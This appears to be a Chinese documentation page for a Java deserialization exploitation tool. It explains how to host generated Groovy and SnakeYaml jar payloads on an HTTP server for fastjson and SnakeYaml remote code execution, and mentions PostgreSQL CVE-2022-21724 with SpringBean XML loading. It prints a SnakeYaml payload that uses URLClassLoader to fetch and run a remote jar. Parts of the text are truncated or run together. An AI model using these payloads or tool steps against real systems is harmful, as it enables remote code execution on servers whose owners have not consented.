| sidebar_position | 6 |
|---|
一个简单的HTTP Server,可以将生成的 Payload 挂载到HTTP端口上,方便某些 HTTP URL 的反连场景。
Gadget名:GroovyJarConvert
使用 HTTP Server 并开启对应 HTTP 端口,选择 OtherPayload 在级联选择器中勾选 GroovyJarConvert,此 Gadget 会将字节码处理为 Groovy Jar Payload 格式,也就是Jar包,然后通过 HTTP Server 挂在到一个 HTTP 端口上,点击生成后会生成一个 HTTP 链接,放到 fastjson groovy payload 中即可使用
可选的 Gadget:
SpringBeanXmlClassLoaderSpringBeanXmlExecSpringBeanXmlSpEL
PostgreSQL (CVE-2022-21724) 配合 SpringBean 远程加载XML文件,执行字节码并回显
om/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
Gadget 名:SnakeyamlJarConvert
生成过程与上面类似,不再过多阐述
通常配合如下 SnakeYaml Payload,实现远程加载 RCE
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [ [
!!java.net.URL [ "http://127.0.0.1:7777/yaml-payload.jar" ]
] ]
]参考:

